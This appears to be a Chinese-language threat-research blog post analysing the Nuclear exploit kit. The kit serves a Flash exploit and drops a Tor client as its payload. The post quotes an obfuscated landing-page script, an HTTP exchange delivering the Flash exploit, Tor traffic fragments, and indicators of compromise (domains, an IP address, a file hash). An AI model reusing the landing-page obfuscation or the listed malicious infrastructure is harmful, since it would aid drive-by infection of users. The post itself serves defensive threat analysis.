





## 登录页面

```
<html>
<body>
</body>
</html>
<div id=vzYzRnEil Tvfcn0gBaTIH RSJlaH#Meg0oU RuXVSzArsapTf gK5dnd</div>
</div>
<div id=PXQJPDdRPhwRX J P0Ezzif sgsQWRTs DKoLATAeGFj agLnYGLiYt Sh P</div></div>
<div id=dBxtRvtI0yo. wmlWlykqBALGc JRRXS SJMaRnFpWQMDTM. MsDGX EarZAgthRMLHCIm KAaD uecqbjvJUmPDT. WGNlDcVepGjYorj XzSPP XkLQ</div>
</div>
<div id=vPDbKyp. MIsLBtX. vs OtbzqYdfb EuxsemcYm LwK At DVmgQXfqrVZns NQmNtEz 0</div></div>
<div id=alrhgrqji>0Dp 3wS kb3cu cnVuZCigPSB8c nVl0wKaMfod2 luZG93LnJibwY IOsNCnZl beN0aw9uIGZsYXN oX3J1b. ih ndSxm ZCx kaCl70QpZYXIGz. L91c2U gPSAnPg. 91amVjdCBj bG Fzc2lkPSjYbHnp ZDpMjdZGI2ZS1 hZTzkLTeXy2Yto TZlOC00N DQzNTMINDA WDAIIGFsbG93U. 2NyaxB00W NjZWN zPMFsd2F5cyB3a WR8a08JMSig. aGV pZ2 h8PSix Ij4n0y ANcNZfd0NLI00 gZl91c2UgK yAnPHBhcmFTI GShbWU9Ie lvdnlllIBZY MclZT0LJyArIGZ IICsgJyIglZ4n0y ANcNZfd0NLI D 0gZl91c2UgKy AnPHBhcmFTIGSh. BMU9I nBSYXkIHZhbW lPSj 0cnV lI iB+Jzsg. D0emX3Vz ZSA9IGZfd0NLI ICsg. JzovVXChb5 BuYw1LPUZs Y0No V mfycyBZYWx1ZT0i Z0hlyZ0nICsgZmQ. gKyAnJmR oPS c. gK. yBkaCarICcIIC 8. +Jzsg0 QemX3VzZSA9IGZf d0NLIcsgJzwhL. S1baWY giUl FXT4tL74n0yA NCnZfd0NLI ID0gZl91c 2U gKyAnPg0 iamVj dCB0eXBLPS Jhc HBsaMh dGlvb194L0No bZNRd2F251mb GFzaCigZ GF0YT0iJyArI GZl. IC. sqj yIglMxsb 3dTY3p. cHRBY2Nlc3M 9YmX3YXlZ IHdpZHRoPS IxliB o ZmLn aH09IJEiPi c7IA0KZl91c2U. g. PS0mX3 VzZSArIC c 8c GFyY0gbmFtZT 01bm92 aMlIHZhbWVl PSInICsgZnUgKyA. nI1AvP1c7IA0K Zl 91c2UgPSBmX3 VzZSArICc. 8c GFyY0gb mFtZT0icGxhe. SIgdmFsdW U9InRydMjILz4n 0yWm CmZ. f d0NLI00 g Zl91c2 UgKyAnPHBhc mFTIGShMUR09m hc2hWYXJzIHZhb. HVlPSJle. GVjPSGkyBaz CArI CcmZG9J yArIGRoICsgj yIglZ4n0yANcNZ. fd0NLI00gZl91 c2UgKyAnPCEtLT. whWZuZ6lM XSetPic7IA0KZ. L91c2UgPS0 mX3VzZSArIC c8I S0tk2lMlC FJRV 0hLS0+PC 9vYmPLY3Q+. PCETlTWm2. VuZ6lMxS0tPic7I A0KZl91c2Ug. PS0mX 3VzZSArICc 8L201amVjd04n0y ANcNZh c1B3cm10ZmFza2. J. veCA9IGRvY3VtZ M5. 0UmYzWf0ZUjVz. W1bn0aJZ Rodic p0yANC ndyaXRYlY0rYm94 Ln lube VySFR. NT CA9IG Zf00Nl0yW. CmR YY 3VtZ6S LnJvZ. HsuYXbZw5k02hp. bG0od3jpdGVhc2. tib3. gp0w0Kf0 0KZmhc2hfcnVUK ClVNTK5. M T dF0NhdMzYXc4a ThvMT0vMTE ucGh0bW/dw5 j03Zlcj0 2dzI3 NesyMjB8NSY1. emFnd050Tl 3eZlhbmpZ Xi=Zkh1bHqub mCY. 295ZXT lIC JINeHdz4. emZ03B3cHg1SE d3entK0eS4 Nhhtr3dhd3d wd0l3eE4 dR3N0p2d 3d493gleEn30x. d3. d3h4Nngldz dWkd4eEp3d3 g1R3di. N0hSH. B1CuhxR3 h3S. nd3S Hd3CXid3e0 d 4Sn d5 d3F3eX. Je0ZlDhx0DVIeU. h6e HFINn. dhdzRISU0 6Sdd Inn dSSElISndwS. H8hCUJSEp INUhwSHV4Chd. xSH B1S1h0S0Z4Nh6 d3h3d3d4d3f3d. ncd0 3B4B3c0eEp3e X. d3d3hdU0 55E lSUn. KeV5N00cd0V0l d0VlIiw iukhK0n JHeGj. bmt0Y0hKd0Nw nli. SGT2W 05c2MzUm. jB Vzr TH p0NEIETTRM bWgWY lds3JCOYcX. 00FZHLZWFYm0 j0U4y e080M1 F3T URF0d1H0AN0N108 TmpRd1BU0G0aw E55TKmg bFUZZD0. evK0T0dN0w E. ycGp1Vz. LUfUdKaF. kydH81 mW0iI k7. DQ p. 9</p></div></div></center>
</div>
</div>
<div id=lelTKlxnXfU. h. PmWzalc6bGT0. EmwyyNECb ZovioVSHLeCPK CSbxGHUSXrMud dsZ5jFgzneV LckdKdN0Kv. lCX QAKoKfL. JPEeWELCD P0wGL0egLVkqvT MvGLYmMYVq Gy0GnEYe tvrR. lzTha. p. s.</div>
```

在向用户显示登录页面后，攻击程序会探测用户的操作系统、Web 浏览器和插件。当这些数据返回恶意服务器后，攻击程序会显示包含负载的漏洞攻击页面。在本特定示例中，攻击程序会向用户发起针对 Adobe Flash 漏洞的攻击。考虑到 Adobe Flash 被漏洞攻击包以及最近发布的零日漏洞选为攻击媒介，所以这不足为奇。向用户提供漏洞攻击页面（如下所示）后，攻击程序会执行负载，此特定感染的独特之处正在于此。

## 攻击页面

```
GET /15924-bluntness/9ja1p8oyt90565_graffito/resignedly?
change=mainstream&geophysics_disorder=19x8ll1x835g06p0e64ej&transient=inglorious HTTP/1.1
Accept: */*
Accept-Language: en-US
Referer: http://lin.absorptionspbs.top/50422_0req3eho0/converses?
6526=blindsiding&confidentiality_feckless=xli847n1fn&14q00ii7ne=3782
x-flash-version: 13,0,0,206
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022)
Host: lin.absorptionspbs.top
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 06 Apr 2016 18:26:28 GMT
Content-Type: application/x-shockwave-flash
Content-Length: 117175
Connection: keep-alive
Accept-Ranges: bytes

CWS.\.x.\.L.....E/!..$.0U..sQ.K...<0.y...Z.p/ ..
6,..".ragD8"N.>.....t.....?.....o.....G.....q.....z.....B.aZ+..(
.>.....=.??n.....p.....7.....^'.....?..g.q..X...g'..C1.....(!.....s.d.....o..uWR...V.../
...7{.....[./..E.....m.....8.....?Yf.g.....)?.....P.....v.s..H.f...../...../
```



## 负载

漏洞攻击包通常都会放置各种负载。迄今为止，最常见的是勒索软件。漏洞攻击包每天都会向全球各地的用户发送各种形式的勒索软件。与放置 Locky 或其他勒索软件变体的 Nuclear 漏洞攻击包不同，此感染会放置适用于 Windows 的 Tor 客户端。然后，攻击程序会执行被巧妙地命名为 tor.exe 的文件。我们将开始看到系统通过 Tor 提交请求，并下载辅助负载。通过查看 Tor 流量，我们可以找出网络流量中列出的多个域。这些域均未注册，而我们也无法找出与之相关联的任何 DNS 流量。而且，这些域似乎还包含 2016 年和 2015 年的多个时间戳。以下是显示此 tor 活动的一些屏幕截图。

```
.....9.8.....5...      .....E.D.3.2.....A...../.....
.....
.....^.....www.6edynequ.com.....
.4.2...
.....
.....>.....:..... H9!.B...>|
I.....e.....0...0../.....&.X..d[.0
.      *.H..
.....0$1"0 ..U....www.pl5xhvrkwdghwdqvg.com0..
160210000000Z.
160423000000Z0'1%0#..U....www.nhqpwvkeu2kdd42n73up.net0..0
.      *.H..
```

```
.....9.8.....5...      .....E.D.3.2.....A...../.....
.....
.....i... www.fr23tcsse6p2k2lqnpq.com.....
.4.2...
.....
.....>.....:.....qV%w.f=..Q.
1.....9K....t...@7.....0...0...(..... ...<.....0
.      *.H..
.....0 1.0...U....www.zhrrsp77li4he.com0..
150913000000Z.
160626235959Z0#1!0...U....www.iu2im5kam2zrtath.net0..0
.      *.H..
```

对漏洞攻击包而言，这确实是一个改变，因为它们过去放置的是可以通过所使用的 C2 通信轻松跟踪的恶意可执行文件。在本例中，攻击者利用 Tor 来匿名最终的恶意负载，从而增加了追溯托管系统的难度。

## IOC

域

googletrace.asia (网关)

lin.absorptionspbs.top

IP

188.166.27.134

哈希值

8796955247DFCADDE58243D8CFDCB416B1B40FD66950433C82A05FC87E803850  
(tor.exe)

## 总结

在当前的漏洞攻击包环境下，所涉及的资金数量十分惊人。这些资金使网络攻击者有能力招募职业开发团队，因此威胁形势会进一步恶化。本文讨论的实例便是近来 Nuclear 经过调整，达到与 Angler 等漏洞攻击包相同复杂程度的一个示例。随着网络攻击者能够越来越有效地传输负载并避开安全设备，他们所获得的利润也会继续增加。这样一来，漏洞攻击包的发展就会形成一个循环机制，就像勒索软件行业已经形成的循环发展体系一样。

在接下来的几周内，我们会陆续发布有关 Nuclear 更多详情，敬请关注。我们还有更多精彩内容与您共享！

## 防护产品

我们一旦发现此类域，便会通过思科域信誉系统加以阻止，我们也会对常被漏洞攻击利用的 Flash 文件执行此处理。


如需获取有关最新规则的信息，请参阅防御中心、FireSIGHT 管理中心或 Snort.org。

产品	保护
AMP	✓
CWS	✓
ESA	✓
网络安全	✓
WSA	✓

高级恶意软件防护 (AMP) 解决方案可以有效防止执行威胁发起者使用的恶意软件。

CWS 或 WSA 的网络扫描功能可以阻止访问恶意网站，并检测这些攻击中所用的恶意软件。

IPS 和 NGFW 的网络安全防护功能拥有最新的签名库，可以检测威胁发起者的恶意网络活动。

发布者: [NICK BIASINI](#); 发布时间: [下午 5:02](#) 

标签: [NUCLEAR 漏洞攻击包](#)、[威胁研究](#)、[TOR](#)